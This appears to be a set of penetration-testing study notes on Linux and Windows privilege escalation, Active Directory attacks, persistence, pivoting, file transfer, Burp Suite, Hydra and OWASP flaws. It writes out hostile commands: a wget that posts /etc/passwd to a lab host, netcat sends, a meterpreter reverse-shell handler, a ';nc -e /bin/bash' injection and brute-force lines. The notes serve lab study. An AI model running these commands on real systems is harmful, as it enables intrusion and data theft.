As we all know in Linux everything is a file, including directories and devices which have permissions to allow or restrict three operations i.e. read/write/execute. So when you set permission for any file, you should be aware of the Linux users to whom you allow or restrict all three permissions. When a command or script with SUID bit set is run, its effective UID becomes that of the owner of the file, rather than of the user who is running it. SGID permission is similar to the SUID permission, only difference is – when the script or command with SGID on is run, it runs as if it were a member of the same group in which the file is a member. Take a look at the following demonstration of how maximum privileges (-rwx-rwx-rwx) look:

r = read

w = write

x = execute<br>

&#x20;   **user**     **group**     **others**

&#x20;   rwx       rwx       rwx

&#x20;   421       421       421

The maximum number of bit that can be used to set permission for each user is 7, which is a combination of read (4) write (2) and execute (1) operation. For example, if you set permissions using **"chmod"** as **755**, then it will be: -rwxr-xr-x.

But when special permission is given to each user it becomes SUID or SGID. Look for **s**' replacing the execute bit in user and group permission respectively.

Some sample permissions:

**SUID**: -rws-rwx-rwx

**GUID**: -rwx-rws-rwx

Both: -rwsr-sr-x

### **Finding SUID Binaries**

We already know that there is SUID capable files on the system, thanks to our LinEnum scan. However, if we want to do this manually we can use the following command to search the file system for SUID/GUID files:

`find / -perm -u=s -type f 2>/dev/null`

Let's break down this command.

**find** - Initiates the "find" command

**/** - Searches the whole file system

**-perm** - searches for files with specific permissions

**-u=s** - Any of the permission bits *mode* are set for the file. Symbolic modes are accepted in this form

**-type f** - Only search for files

**2>/dev/null** - Suppresses errors

## Exploiting Writeable /etc/passwd

Continuing with the enumeration of users, we found that **user7** is a member of the **root** group with **gid 0.** And we already know from the **LinEnum** scan that **/etc/passwd** file is writable for the user. So from this observation, we concluded that **user7** can edit the /etc/passwd file.

### **/etc/passwd**

The /etc/passwd file stores essential information, which  is required during login. In other words, it stores user account information. The /etc/passwd is a **plain text file**. It contains a list of the system’s accounts, giving for each account some useful information like user ID, group ID, home directory, shell, and more.

The /etc/passwd file should have general read permission as many command utilities use it to map user IDs to user names. However, write access to the /etc/passwd must only limit for the superuser/root account. When it doesn't, or a user has erroneously been added to a write-allowed group. We have a vulnerability that can allow the creation of a root user that we can access.

### **/etc/passwd format**

The /etc/passwd file contains one entry per line for each user (user account) of the system. All fields are separated by a colon : symbol. Total of seven fields as follows. Generally, /etc/passwd file entry looks as follows:

&#x20;   test:x:0:0:root:/root:/bin/bash

\[as divided by colon (:)]

1. **Username**: It is used when user logs in. It should be between 1 and 32 characters in length.
2. **Password**: An x character indicates that encrypted password is stored in /etc/shadow file. Please note that you need to use the passwd command to compute the hash of a password typed at the CLI or to store/update the hash of the password in /etc/shadow file, in this case, the password hash is stored as an "x".<br>
3. **User ID (UID)**: Each user must be assigned a user ID (UID). UID 0 (zero) is reserved for root and UIDs 1-99 are reserved for other predefined accounts. Further UID 100-999 are reserved by system for administrative and system accounts/groups.
4. **Group ID (GID)**: The primary group ID (stored in /etc/group file)
5. **User ID Info**: The comment field. It allow you to add extra information about the users such as user’s full name, phone number etc. This field use by finger command.
6. **Home directory**: The absolute path to the directory the user will be in when they log in. If this directory does not exists then users directory becomes /
7. **Command/shell**: The absolute path of a command or shell (/bin/bash). Typically, this is a shell. Please note that it does not have to be a shell.

### **Exploit a writable /etc/passwd**

It's simple really, if we have a writable /etc/passwd file, we can write a new line entry according to the above formula and create a new user! We add the password hash of our choice, and set the UID, GID and shell to root. Allowing us to log in as our own root user!

## Escaping Vi Editor

### &#x20;**Sudo -l**

This exploit comes down to how effective our user account enumeration has been. Every time you have access to an account during a CTF scenario, you should use **"sudo -l"** to list what commands you're able to use as a super user on that account. Sometimes, like this, you'll find that you're able to run certain commands as a root user without the root password. This can enable you to escalate privileges.

### **Escaping Vi**

Running this command on the "user8" account shows us that this user can run vi with root privileges. This will allow us to escape vim in order to escalate privileges and get a shell as the root user!

### **Misconfigured Binaries and GTFOBins**

If you find a misconfigured binary during your enumeration, or when you check what binaries a user account you have access to can access, a good place to look up how to exploit them is GTFOBins. GTFOBins is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions. It provides a really useful breakdown of how to exploit a misconfigured binary and is the first place you should look if you find one on a CTF or Pentest.

<https://gtfobins.github.io/>

## Exploiting Crontab

### **What is Cron?**

The Cron daemon is a long-running process that executes commands at specific dates and times. You can use this to schedule activities, either as one-time events or as recurring tasks. You can create a crontab file containing commands and instructions for the Cron daemon to execute.

### **How to view what Cronjobs are active.**

We can use the command **"cat /etc/crontab"** to view what cron jobs are scheduled. This is something you should always check manually whenever you get a chance, especially if LinEnum, or a similar script, doesn't find anything.

### **Format of a Cronjob**

Cronjobs exist in a certain format, being able to read that format is important if you want to exploit a cron job.

```
# = ID
m = Minute
h = Hour
dom = Day of the month
mon = Month
dow = Day of the week
user = What user the command will run as
command = What command should be run
```

For Example,

```
#  m   h dom mon dow user  command
17 *   1  *   *   *  root  cd / && run-parts --report /etc/cron.hourly
```

#### **How can we exploit this?**

If we know from an LinEnum scan, that the file autoscript.sh, on user4's Desktop is scheduled to run every five minutes. It is owned by root, meaning that it will run with root privileges, despite the fact that we can write to this file. The task then is to create a command that will return a shell and paste it in this file. When the file runs again in five minutes the shell will be running as root.

## Exploiting PATH Variable

### **What is PATH?**

PATH is an environmental variable in Linux and Unix-like operating systems which specifies directories that hold executable programs. When the user runs any command in the terminal, it searches for executable files with the help of the PATH Variable in response to commands executed by a user.

It is very simple to view the Path of the relevant user with help of the command **"echo $PATH"**.

### **How does this let us escalate privileges?**

Let's say we have an SUID binary. Running it, we can see that it’s calling the system shell to do a basic process like list processes with "ps". Unlike in our previous SUID example, in this situation we can't exploit it by supplying an argument for command injection, so what can we do to try and exploit this?

We can re-write the PATH variable to a location of our choosing! So when the SUID binary calls the system shell to run an executable, it runs one that we've written instead!

As with any SUID file, it will run this command with the same privileges as the owner of the SUID file! If this is root, using this method we can run whatever commands we like as root!

## Groups

Check your user id and the groups you're a part of with `id`. User's can be members of groups for root processes, like `lxd`.

## Capabilities

{% embed url="<https://man7.org/linux/man-pages/man7/capabilities.7.html>" %}

{% embed url="<https://materials.rangeforce.com/tutorial/2020/02/19/Linux-PrivEsc-Capabilities/>" %}

## Resources

<https://tryhackme.com/room/commonlinuxprivesc>

More resources:&#x20;

* <https://github.com/netbiosX/Checklists/blob/master/Linux-Privilege-Escalation.md>
* h[ttps://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md)
* <https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_-_linux.html>
* <https://payatu.com/guide-linux-privilege-escalation>

{% embed url="<https://gtfobins.github.io/>" %}

{% embed url="<https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/>" %}


# lxd

<https://www.hackingarticles.in/lxd-privilege-escalation/>


# sytemctl

{% embed url="<https://zacheller.dev/vulnversity>" %}


# Windows Privilege Escalation

{% embed url="<https://www.fuzzysecurity.com/tutorials/16.html>" %}
Non-Active Directory Escalations
{% endembed %}

{% embed url="<https://book.hacktricks.xyz/windows/checklist-windows-privilege-escalation>" %}

{% embed url="<https://blog.stealthbits.com/extracting-user-password-data-with-mimikatz-dcsync/>" %}


# Active Directory

## Beginner

{% embed url="<https://medium.com/@adam.toscher/top-five-ways-i-got-domain-admin-on-your-internal-network-before-lunch-2018-edition-82259ab73aaa>" %}

1. &#x20;**Netbios and LLMNR Name Poisoning**
   * To assist you with cracking your intercepted hashes, there are now advanced frameworks to help with password brute forcing like [hate\_crack](https://github.com/trustedsec/hate_crack).
   * great success using a common word-list that can be obtained for a nominal fee: " [uniqpass](https://webcache.googleusercontent.com/search?q=cache:BV8AEB0cWtcJ:https://dazzlepod.com/uniqpass/+\&cd=1\&hl=en\&ct=clnk\&gl=us)" and the out of box common hashcat ruleset "best64". But sometimes complex passwords are enforced, and you're left with no other option but to crack some hashes.
   * Responder, is arguably the go-to tool for all things related to mitm poisoning and spoofing
   * &#x20;[Inveigh](https://github.com/Kevin-Robertson/Inveigh), is the native Windows .NET sibling of the Unix/Linux Python based Responder.
     * Inveigh its core is a .NET packet sniffer that listens for and responds to LLMNR / mDNS / NBNS requests while also capturing incoming NTLMv1 / NTLMv2 authentication attempts over the Windows SMB service.
2. &#x20;**Relay attacks**
   * MultiRelay tool
   * impacket tools
   * SMB Relaying
     * &#x20;[**smbrelayx.py**](https://github.com/CoreSecurity/impacket/blob/impacket_0_9_15/examples/smbrelayx.py)

       > It receives the list of targets and for every connection received it will choose the next target and try to relay the credentials. Also, if specified, it will first authenticate against the client connecting to us.\
       > It is implemented by invoking SMB and HTTP Server, hooking to a few functions and then using the smbclient portion. It is supposed to be working on any LM Compatibility level. The only way to stop this attack is to enforce the server SPN checks and or signing. If the authentication against the targets succeed, the client authentication success as well as a valid connection is set against the local smbserver. It's up to the user to set up the local smbserver functionality. One option is to set up shares with whatever files you want to the victim thinks it's connected to a valid SMB server. All that is done through the smb.conf file or programmatically.
   * NTLM  Relaying
     * &#x20;[**ntlmrelayx.py**](https://github.com/CoreSecurity/impacket/blob/master/examples/ntlmrelayx.py)**:**&#x20;

       > NTLM Authentication is a challenge-response based protocol. Challenge-response protocols use a commonly shared secret, in this case the user password, to authenticate the client. The server sends a challenge, and the client replies with the response on this challenge. If the challenge matches the one calculated by the server, the authentication is accepted. The NTLM Authentication is a complex protocol, and how it is explained here is the simplification. A very good and detailed description can be found at <http://davenport.sourceforge.net/ntlm.html>
3. &#x20;[**MS17-010**](https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS17-010/ms17_010_eternalblue.rb) **(Eternal Blue)**

   * [**nmap -Pn -p445 - open - max-hostgroup 3 - smb-vuln-ms17-010 script**](https://isc.sans.edu/forums/diary/Using+nmap+to+scan+for+MS17010+CVE20170143+EternalBlue/22574/)[ **\<ip\_netblock>**](https://isc.sans.edu/forums/diary/Using+nmap+to+scan+for+MS17010+CVE20170143+EternalBlue/22574/)

   > ETERNALBLUE, ETERNALCHAMPION, ETERNALROMANCE, and ETERNALSYNERGY are four of multiple Equation Group vulnerabilities and exploits disclosed on 2017/04/14 by a group known as the Shadow Brokers. WannaCry / WannaCrypt is a ransomware program utilizing the ETERNALBLUE exploit, and EternalRocks is a worm that uses seven Equation Group vulnerabilities. Petya is a ransomware program that first uses CVE-2017-0199, the vulnerability in Microsoft Office, and then spreads via ETERNALBLUE.
4. &#x20;[**Kerberoastin**](https://www.blackhillsinfosec.com/a-toast-to-kerberoast/)**g**

   > The Microsoft implementation of Kerberos can be a bit complicated, but the gist of the attack is that it takes advantage of legacy Active Directory support for older Windows clients and the type of encryption used and the key material used to encrypt and sign Kerberos tickets. Essentially, when a domain account is configured to run a service in the environment, such as MS SQL, the Service Principal Name (SPN) is used in the domain to associate the service with a login account. When a user wishes to use the specific resource they receive a Kerberos ticket signed with NTLM hash of the account that is running the service
5. &#x20;**mitm6**

   * Mitm6 is an incredibly powerful tool for obtaining and escalating privileges on your typical Windows broadcast network. When other attacks above fail on their own; try chaining smbrelay + mitm6 or it's default counterpart ntlmreayx.

   > mitm6 is designed to be used with ntlmrelayx. You should run the tools next to each other, in this scenario it will spoof the DNS, causing victims to connect to ntlmrelayx for HTTP and SMB connections. For this you have to make sure to run ntlmrelayx with the `-6`option, which will make it listen on both IPv4 and IPv6. To obtain credentials for WPAD, specify the WPAD hostname to spoof with `-wh HOSTNAME`(any non-existing hostname in the local domain will work since the DNS server is mitm6). Optionally you can also use the `-wa N`parameter with a number of attempts to prompt for authentication for the WPAD file itself in case you suspect victims do not have the MS16-077 patch applied.
   >
   > mitm6 is a pentesting tool that exploits the default configuration of Windows to take over the default DNS server. It does this by replying to DHCPv6 messages, providing victims with a link-local IPv6 address and setting the attackers host as default DNS server. The DNS server, mitm6 will selectively reply to DNS queries of the attackers choosing and redirect the victims traffic to the attacker machine instead of the legitimate server. For a full explanation of the attack, see our [blog about mitm6](https://blog.fox-it.com/2018/01/11/mitm6-compromising-ipv4-networks-via-ipv6/) . Mitm6 is designed to work together with [ntlmrelayx from impacket](https://github.com/CoreSecurity/impacket) for WPAD spoofing and credential relaying.

## Advanced

{% embed url="<https://adsecurity.org/>" %}

{% embed url="<https://blog.harmj0y.net/>" %}


# What is AD?

{% embed url="<https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/get-started/virtual-dc/active-directory-domain-services-overview>" %}

{% embed url="<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc755692(v=ws.10)?redirectedfrom=MSDN>" %}

{% embed url="<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc780957(v=ws.10)?redirectedfrom=MSDN>" %}

{% embed url="<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc961936(v=technet.10)?redirectedfrom=MSDN>" %}

{% embed url="<https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/active-directory-functional-levels>" %}

{% embed url="<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc780469(v=ws.10)?redirectedfrom=MSDN>" %}

{% embed url="<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc962100(v=technet.10)?redirectedfrom=MSDN>" %}


# User Enumeration

{% embed url="<https://sensepost.com/blog/2018/a-new-look-at-null-sessions-and-user-enumeration/>" %}


# Post Exploitation

{% embed url="<http://www.pentest-standard.org/index.php/Post_Exploitation>" %}


# Cleanup

The cleanup process covers the requirements for cleaning up systems once the penetration test has been completed, not removing logs, etc. This will include all user accounts and binaries used during the test.

* Remove all executable, scripts and temporary file from a compromised system. If possible use secure delete method for removing the files and folders.
* Return to original values system settings and application configuration parameters if they where modified during the assessment.
* Remove all backdoors and/or rootkits installed.
* Remove any user accounts created for connecting back to compromise systems.


# Maintaining Access

Persistence is dangerous and usually unnecessary for junior-mid level  pentesting (time limited engagements, not red teaming). It opens a port on a machine with no credentials--leaves it wide open for a future attack. You'll have to go back in and delete the service and remove it from the registry. It'll give you an RC file to go in and delete the files for you, but it's generally dangerous and unnecessary.

**Persistence Scripts**

```
meterpreter > run persistence -h
exploit/windows/local/persistence
exploit/windows/local/registry_persistence
```

If you want to get a meterpreter shell back:

```
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
# might set lport to be a known port to be sneaky
msf5 exploit(multi/handler) > set lport 443
msf5 exploit(multi/handler) > set lhost 192.168.202.128

```

#### Scheduled Tasks

```
run scheduleme
run schtaskabuse
```

#### Metsvc

```
run metsvc -A
```

{% embed url="<https://resources.infosecinstitute.com/penetration-testing-maintaining-access/>" %}


# Pivoting

![](https://1094113337-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3hoduT4ByoNaznkzhG%2F-MGEzhrzN7bPwYjUAnGp%2F-MGF21UWqbNkdsp1jux5%2Fimage.png?alt=media\&token=2f19bff9-af7d-4530-b5dc-02ae84d3a9e9)

Gained access to a machine on the 192 network that is dualhomed with the 10 network (just need two NICs, or network adapters in VBox).

```
# Check for other networks, besides ipconfig
route print
arp -a
netstat
```

Scanning on a pivot is incredibly slow, but:

```
use auxiliary/scanner/portscan/tcp
```


# File Transfers

### Linux

```
# HOST FILES
python -m SimpleHTTPServer 80
# OR
python3 -m http.server 80
python -m pyftpdlib -p 21 # FTP

# GRAB FILES
wget http://<ip>:80/secrets.txt
# RECEIVE FILES
nc -nvlp <port> file # redirect into new file
# SEND FILES
## nc
nc <ip> <port> < file
## wget, receiver has to clean the file
wget --post-file=/etc/passwd 192.168.202.128:8081
tail -n +10 file > clean_file # delete transfer data

```

### Windows

```
# Windows Defender can block this, though there are ways to split files to bypass
# GRAB FILES - HTTP
C:\Users\fcastle>certutil -rulcache -f http://<ip>/secrets.txt secrets.txt

# GRAB FILES - FTP
C:\Users\fcastle>ftp <ip>
ftp> get <file>
```

#### **Meterpreter**

```
msf5 > use windows/smb/psexec
msf5 exploit(windows/smb/psexec) > set rhosts 192.168.202.134
msf5 exploit(windows/smb/psexec) > set smbdomain marvel
msf5 exploit(windows/smb/psexec) > set smbpass Password1
msf5 exploit(windows/smb/psexec) > set smbuser fcastle
msf5 exploit(windows/smb/psexec) > set target 2
msf5 exploit(windows/smb/psexec) > run
...
meterpreter > cd c:\\users
meterpreter > upload /root/files/secrets.txt c:\\secrets.txt
meterpreter > download c:\\secrets.txt secrets.txt
```


# Covering Tracks

{% embed url="<https://resources.infosecinstitute.com/penetration-testing-covering-tracks/>" %}


# Vulnerabilities Checklist

* [ ] Default Web Page (Low)
* [ ] Server Header Info Disclosure (Low) - only on web assessments
  * [ ] `curl --head <ip>`
    * [ ] ETag?
  * [ ] nikto, e.g.
    * [ ] \+ The anti-clickjacking X-Frame-Options header is not present.
    * [ ] \+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
    * [ ] \+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type<br>
* [ ] Default 404 Info Disclosure (Low)
* [ ] Weak Ciphers
  * [ ] `nmap --script=ssl-enum-ciphers -p 443 <ip>`
  * [ ] note the least strength cipher
* [ ] bruteforce attack on SSH at some point to make sure their SIM catches it
* [ ] Check SMB for anonymous login
* [ ] GPP cPassword (Groups.xml)


# Report Writing

{% embed url="<https://github.com/hmaverickadams/TCM-Security-Sample-Pentest-Report/blob/master/Demo%20Company%20-%20Security%20Assessment%20Findings%20Report.docx>" %}


# Tools


# Burp Suite

* **Proxy** - What allows us to funnel traffic through Burp Suite for further analysis
* **Target** - How we set the scope of our project. We can also use this to effectively create a site map of the application we are testing.
* **Intruder** - Incredibly powerful tool for everything from field fuzzing to credential stuffing and more
* **Repeater** - Allows us to 'repeat' requests that have previously been made with or without modification. Often used in a precursor step to fuzzing with the aforementioned Intruder
* **Sequencer** - Analyzes the 'randomness' present in parts of the web app which are intended to be unpredictable. This is commonly used for testing session cookies
* **Decoder** - As the name suggests, Decoder is a tool that allows us to perform various transforms on pieces of data. These transforms vary from decoding/encoding to various bases or URL encoding.
* **Comparer** - Comparer as you might have guessed is a tool we can use to compare different responses or other pieces of data such as site maps or proxy histories (awesome for access control issue testing). This is very similar to the Linux tool diff.
* **Extender** - Similar to adding mods to a game like Minecraft, Extender allows us to add components such as tool integrations, additional scan definitions, and more!
* **Scanner** - Automated web vulnerability scanner that can highlight areas of the application for further manual investigation or possible exploitation with another section of Burp. This feature, while not in the community edition of Burp Suite, is still a key facet of performing a web application test.

By default, Burp will be set to 'intercept' our traffic. This means a few things:

1. Requests will by default require our authorization to be sent.
2. We can modify our requests in-line similar to what you might see in a man-in-the-middle attack and then send them on.
3. We can also drop requests we don't want to be sent. This can be useful to see the request attempt after clicking a button or performing another action on the website.&#x20;
4. And last but not least, we can send these requests to other tools such as Repeater and Intruder for modification and manipulation to induce vulnerabilities.&#x20;

By default, the Burp Suite proxy listens on only one interface: 127.0.0.1:8080

Add site to scope in the Target tab to not intercept noise. You can build the site map by clicking around a website as a normal user (happy path).

While Repeater best handles experimentation or one-off testing, Intruder is meant for repeat testing once a proof of concept has been established. Per the [Burp Suite documentation](https://portswigger.net/burp/documentation/desktop/tools/intruder/using), some common uses are as follows:

* Enumerating identifiers such as usernames, cycling through predictable session/password recovery tokens, and attempting simple password guessing
* Harvesting useful data from user profiles or other pages of interest via grepping our responses
* Fuzzing for vulnerabilities such as SQL injection, cross-site scripting (XSS), and file path traversal

Intruder Attack Types

1. Sniper - The most popular attack type, this cycles through our selected positions, putting the next available payload (item from our wordlist) in each position in turn. This uses only one set of payloads (one wordlist).
2. Battering Ram - Similar to Sniper, Battering Ram uses only one set of payloads. Unlike Sniper, Battering Ram puts every payload into every selected position. Think about how a battering ram makes contact across a large surface with a single surface, hence the name battering ram for this attack type.
3. Pitchfork - The Pitchfork attack type allows us to use multiple payload sets (one per position selected) and iterate through both payload sets simultaneously. For example, if we selected two positions (say a username field and a password field), we can provide a username and password payload list. Intruder will then cycle through the combinations of usernames and passwords, resulting in a total number of combinations equalling the smallest payload set provided.&#x20;
4. Cluster Bomb - The Cluster Bomb attack type allows us to use multiple payload sets (one per position selected) and iterate through all combinations of the payload lists we provide. For example, if we selected two positions (say a username field and a password field), we can provide a username and password payload list. Intruder will then cycle through the combinations of usernames and passwords, resulting in a total number of combinations equalling usernames x passwords. Do note, this can get pretty lengthy if you are using the community edition of Burp.&#x20;

While not as commonly used in a practice environment, Sequencer represents a core tool in a proper web application pentest. Burp's Sequencer, [per the Burp documentation](https://portswigger.net/burp/documentation/desktop/tools/sequencer/getting-started), is a tool for analyzing the quality of randomness in an application's sessions tokens and other important data items that are otherwise intended to be unpredictable. Some commonly analyzed items include:

\- Session tokens\
\- Anti-CSRF (Cross-Site Request Forgery) tokens\
\- Password reset tokens (sent with password resets that in theory uniquely tie users with their password reset requests)

You can find a request that uses Set-Cookie and send it to Sequencer. Collect \~10,000 requests and analyze the effective entropy (result in bits). To enable bit-level analysis, each token gets converted to a set of bits to have a normalized data set.

Comparer, as you might have guessed is a tool we can use to compare different responses or other pieces of data such as site maps or proxy histories (awesome for access control issue testing). This is very similar to the Linux tool diff.

Per the Burp [documentation](https://portswigger.net/burp/documentation/desktop/tools/comparer), some common uses for Comparer are as follows:

\- When looking for username enumeration conditions, you can compare responses to failed logins using valid and invalid usernames, looking for subtle differences in responses. This is also sometimes useful for when enumerating password recovery forms or another similar recovery/account access mechanism.&#x20;

\- When an Intruder attack has resulted in some very large responses with different lengths than the base response, you can compare these to quickly see where the differences lie.

\- When comparing the site maps or Proxy history entries generated by different types of users, you can compare pairs of similar requests to see where the differences lie that give rise to different application behavior. This may reveal possible access control issues in the application wherein lower privileged users can access pages they really shouldn't be able to.

\- When testing for blind SQL injection bugs using Boolean condition injection and other similar tests, you can compare two responses to see whether injecting different conditions has resulted in a relevant difference in responses.<br>


# THC-Hydra BruteForce

### Localhost Example

```
$ hydra -l admin@juice-sh.op -P /usr/share/wordlists/rockyou.txt 127.0.0.1 http-post-form '/#/login:email=^USER^&password=^PASS^:Invalid email or password.' -fV -s 3000 -t 1
```

### Vulnhub Example

When we enter a random key into the form at this page, we get “invalid key”. We can use this to formulate a hydra command. Choose `big.txt` wordlist, select `http-post-form`, the address `10.10.10.3`, the location of the form `“/kzMb5nVYJw/index.php”` with our field “key” and the `^PASS^` string (the variables argument needs at least the strings `^USER^`, `^PASS^`, `^USER64^` or `^PASS64^`), and the third colon delimited argument that designates failure “invalid key”. `-l` is for our login name which is empty, `-f` is for exit when a login/pass pair is found, `-V` is for verbose.

```
$ hydra -P /usr/share/dirb/wordlists/big.txt 10.10.10.3 http-post-form "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" -fV -l ""
```


# Injection

Injection flaws are very common in applications today. These flaws occur because user controlled input is interpreted as actual commands or parameters by the application. Injection attacks depend on what technologies are being used and how exactly the input is interpreted by these technologies. Some common examples include:

* SQL Injection: This occurs when user controlled input is passed to SQL queries. As a result, an attacker can pass in SQL queries to manipulate the outcome of such queries.&#x20;
* Command Injection: This occurs when user input is passed to system commands. As a result, an attacker is able to execute arbitrary system commands on application servers.

\
If an attacker is able to successfully pass input that is interpreted correctly, they would be able to do the following:

* Access, Modify and Delete information in a database when this input is passed into database queries. This would mean that an attacker can steal sensitive information such as personal details and credentials.
* Execute Arbitrary system commands on a server that would allow an attacker to gain access to users’ systems. This would enable them to steal sensitive data and carry out more attacks against infrastructure linked to the server on which the command is executed.

\
The main defence for preventing injection attacks is ensuring that user controlled input is not interpreted as queries or commands. There are different ways of doing this:

* Using an allow list: when input is sent to the server, this input is compared to a list of safe input or characters. If the input is marked as safe, then it is processed. Otherwise, it is rejected and the application throws an error.
* Stripping input: If the input contains dangerous characters, these characters are removed before they are processed.

\
Dangerous characters or input is classified as any input that can change how the underlying data is processed. Instead of manually constructing allow lists or even just stripping input, there are various libraries that perform these actions for you.

## OS Command Injection

Command Injection occurs when server-side code (like PHP) in a web application makes a system call on the hosting machine.  It is a web vulnerability that allows an attacker to take advantage of that made system call to execute operating system commands on the server.  Sometimes this won't always end in something malicious, like a `whoami` or just reading of files.  That isn't too bad.  But the thing about command injection is it opens up many options for the attacker.  The worst thing they could do would be to spawn a reverse shell to become the user that the web server is running as.  A simple `;nc -e /bin/bash` is all that's needed and they own your server; some variants of netcat don't support the -e option. You can use a list of [these](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet) reverse shells as an alternative. <br>

Once the attacker has a foothold on the web server, they can start the usual enumeration of your systems and start looking for ways to pivot around.  Now that we know what command injection is, we'll start going into the different types and how to test for them.

Source: <https://tryhackme.com/room/owasptop10>


# SQL Injection

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection>" %}

## Tools:

{% embed url="<https://github.com/sqlmapproject/sqlmap>" %}

## Cheatsheet:

{% embed url="<https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/>" %}

{% embed url="<http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet>" %}


# Broken Authentication

Authentication and session management constitute core components of modern web applications. Authentication allows users to gain access to web applications by verifying their identities. The most common form of authentication is using a username and password mechanism. A user would enter these credentials, the server would verify them. If they are correct, the server would then provide the users’ browser with a session cookie. A session cookie is needed because web servers use HTTP(S) to communicate which is stateless. Attaching session cookies means that the server will know who is sending what data. The server can then keep track of users' actions. \
If an attacker is able to find flaws in an authentication mechanism, they would then successfully gain access to other users’ accounts. This would allow the attacker to access sensitive data (depending on the purpose of the application). Some common flaws in authentication mechanisms include:

* Brute force attacks: If a web application uses usernames and passwords, an attacker is able to launch brute force attacks that allow them to guess the username and passwords using multiple authentication attempts.&#x20;
* Use of weak credentials: web applications should set strong password policies. If applications allow users to set passwords such as ‘password1’ or common passwords, then an attacker is able to easily guess them and access user accounts. They can do this without brute forcing and without multiple attempts.
* Weak Session Cookies: Session cookies are how the server keeps track of users. If session cookies contain predictable values, an attacker can set their own session cookies and access users’ accounts.&#x20;

There can be various mitigation for broken authentication mechanisms depending on the exact flaw:

* To avoid password guessing attacks, ensure the application enforces a strong password policy.&#x20;
* To avoid brute force attacks, ensure that the application enforces an automatic lockout after a certain number of attempts. This would prevent an attacker from launching more brute force attacks.
* Implement Multi Factor Authentication - If a user has multiple methods of authentication, for example, using username and passwords and receiving a code on their mobile device, then it would be difficult for an attacker to get access to both credentials to get access to their account.

## Example

Say there is an existing user with the name admin and now we want to get access to their account so what we can do is try to re-register that username but with slight modification. We are going to enter " admin"(notice the space in the starting). Now when you enter that in the username field and enter other required information like email id or password and submit that data. It will actually register a new user but that user will have the same right as normal admin. That new user will also be able to see all the content presented under the user admin.

## Sources

* <https://tryhackme.com/room/owasptop10>


# Sensitive Data Exposure

When a webapp accidentally divulges sensitive data, we refer to it as "Sensitive Data Exposure". This is often data directly linked to customers (e.g. names, dates-of-birth, financial information, etc), but could also be more technical information, such as usernames and passwords. At more complex levels this often involves techniques such as a "Man in The Middle Attack", whereby the attacker would force user connections through a device which they control, then take advantage of weak encryption on any transmitted data to gain access to the intercepted information (if the data is even encrypted in the first place...). Of course, many examples are much simpler, and vulnerabilities can be found in web apps which can be exploited without any advanced networking knowledge. Indeed, in some cases, the sensitive data can be found directly on the webserver itself...

The most common way to store a large amount of data in a format that is easily accessible from many locations at once is in a database. This is obviously perfect for something like a web application, as there may be many users interacting with the website at any one time. Database engines usually follow the Structured Query Language (SQL) syntax; however, alternative formats (such as NoSQL) are rising in popularity.

In a production environment it is common to see databases set up on dedicated servers, running a database service such as MySQL or MariaDB; however, databases can also be stored as files. These databases are referred to as "flat-file" databases, as they are stored as a single file on the computer. This is much easier than setting up a full database server, and so could potentially be seen in smaller web applications.

As mentioned previously, flat-file databases are stored as a file on the disk of a computer. Usually this would not be a problem for a webapp, but what happens if the database is stored underneath the root directory of the website (i.e. one of the files that a user connecting to the website is able to access)? Well, we can download it and query it on our own machine, with full access to everything in the database.

The most common (and simplest) format of flat-file database is an sqlite database. These can be interacted with in most programming languages, and have a dedicated client for querying them on the command line. This client is called "sqlite3", and is installed by default on Kali.


# SQLite3

Let's suppose we have successfully managed to download a database:

![](https://1094113337-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3hoduT4ByoNaznkzhG%2F-MLpoDikZRsMCu7G5cHl%2F-MLpoSHuV3WEvgaM5bRF%2Fimage.png?alt=media\&token=3c5298bf-60ea-4c14-b65b-1c02c1ab1bdf)

We can see that there is an SQlite database in the current folder.

To access it we use: `sqlite3 <database-name>`:

![](https://1094113337-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3hoduT4ByoNaznkzhG%2F-MLpoDikZRsMCu7G5cHl%2F-MLpoXf0A8UpZTjXxj5C%2Fimage.png?alt=media\&token=bcd28293-9018-4383-be94-c6d874d5228c)

From here we can see the tables in the database by using the `.tables` command:

![](https://1094113337-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3hoduT4ByoNaznkzhG%2F-MLpoDikZRsMCu7G5cHl%2F-MLpo_DZA3_hh8Vjo021%2Fimage.png?alt=media\&token=94b5bc19-0829-4375-ad66-8b92f15650bf)

At this point we can dump all of the data from the table, but we won't necessarily know what each column means unless we look at the table information. First let's use `PRAGMA table_info(customers);` to see the table information, then we'll use `SELECT * FROM customers;` to dump the information from the table:

![](https://1094113337-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3hoduT4ByoNaznkzhG%2F-MLpoDikZRsMCu7G5cHl%2F-MLpocC2O0B3__Bnnd3f%2Fimage.png?alt=media\&token=80da5014-5321-4a9e-a7d9-c88682ad1000)

We can see from the table information that there are four columns: custID, custName, creditCard and password. You may notice that this matches up with the results. Take the first row:

